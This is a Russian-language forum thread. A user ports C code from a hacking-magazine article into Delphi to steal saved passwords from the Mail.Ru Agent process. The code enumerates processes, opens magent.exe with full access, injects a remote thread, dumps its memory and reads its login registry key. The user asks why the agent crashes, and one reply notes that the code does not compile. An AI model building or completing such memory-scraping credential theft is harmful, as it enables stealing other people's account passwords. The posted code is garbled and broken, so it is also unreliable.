![]() |
Вопрос по Delphi! (help plizzz)
Спецы по Delphi помогите с кодом.
Значит я прочитал статью http://www.xakep.ru/post/42226/default.asp В ней говорится про кражу паролей из пямяти майл агента. В ней дан код программы на С. я пытаюсь переписать этот же код на Delphi. половину я переделал и встал колом по следующим причинам! uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,tlhelp32, PsAPI, Registry; procedure TForm1.Button1Click(Sender: TObject); var p:PROCESSENTRY32; ct:cardinal; th:Cardinal; ts:TSearchRec; sst:STARTUPINFO; ss,s:string; agent:thandle; module: HModule; car:cardinal; hThread:thandle; modinfo: MODULEINFO; buffer: longint; dwReaded: DWORD; i,t, retCode, cValues: DWORD; regValue: array[0..256] of char; cchValue:DWORD; szEmail:pchar; iEmail:integer; found:boolean; Reg:HKEY; begin ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); Process32First(ct,p); while Process32Next(ct,p) do begin (p.szExeFile) then OpenProcessToken(p.th32ProcessID,TOKEN_READ,th); ListBox1.Items.Append(string(p.szExeFile)); if string(p.szExeFile)='magent.exe' then begin listbox2.Items.append(string(p.szExeFile)); agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32 ProcessID); end; end; CloseHandle(ct); hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread); WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread , Module); CloseHandle(hThread); GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO)); ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(B uffer),modinfo.SizeOfImage,dwReaded); if dwReaded>0 then begin RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\ \Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg); cchValue:=1024; retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL); label1.Caption:=regvalue; end; end; при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает! Помогите кто че нибуть в этом монимает! Заранее спасибо! |
Во-первых ты или не весь код выложили или он у тебя даже не скомпилится. Как понимать вот это:
Цитата:
Теперь по твоему вопросу: если выскочила такая ошибка, значит ты переписала какую-то ячеку памяти Агента. Он, думая что там записаны его данные, обратился к чужой памяти, а винда, отловив это, показала ошибку. Где была попорчена память, я сказать не могу. Твой код не компилится. А думать что же могло быть на месте ошибки, что-то тоже не хочется. |
ТС, используй тег code, нифига не читабельно =\
Я по делфи не спец, чем смогу помогу. Функция GetProcess() выглядит примерно так: Код:
var |
| Время: 15:55 |